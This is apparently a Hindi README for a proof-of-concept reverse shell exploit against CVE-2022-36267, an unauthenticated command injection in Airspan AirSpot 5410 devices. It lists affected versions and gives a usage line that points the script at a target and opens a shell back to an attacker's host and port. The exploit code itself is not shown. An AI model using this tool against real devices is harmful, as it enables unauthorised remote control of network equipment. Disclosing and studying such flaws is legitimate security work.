CVE-2022-36267 - Airspan AirSpot 5410 अनधिकृत रिमोट कमांड इंजेक्शन।

अवलोकन

इस रिपॉजिटरी में CVE-2022-36267 का शोषण करने के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) रिवर्स शेल स्क्रिप्ट है, जो Airspan AirSpot 5410 उपकरणों में एक गंभीर कमजोरी है। यह स्क्रिप्ट एक व्यावहारिक प्रदर्शन है, जो ब्लॉग पोस्ट "Airspan AirSpot 5410 - Vulnerability Report" में दिए गए गहन विश्लेषण को पूरक बनाती है।

प्रभावित संस्करण

Airspan AirSpot 5410 के सभी उपकरण संस्करण 0.3.4.1-4 और उससे नीचे।

PoC स्क्रिप्ट उपयोग

# Usage: python AirSpot-5410.py --RHOST <Target-IP> --RPORT <Target-Port> --LHOST <Local-IP> --LPORT <Local-Port>
# Example: python AirSpot-5410.py --RHOST 192.168.1.1 --RPORT 443 --LHOST 192.168.1.100 --LPORT 4444

वीडियो प्रूफ ऑफ कॉन्सेप्ट

नोट

केवल शैक्षिक उद्देश्य के लिए।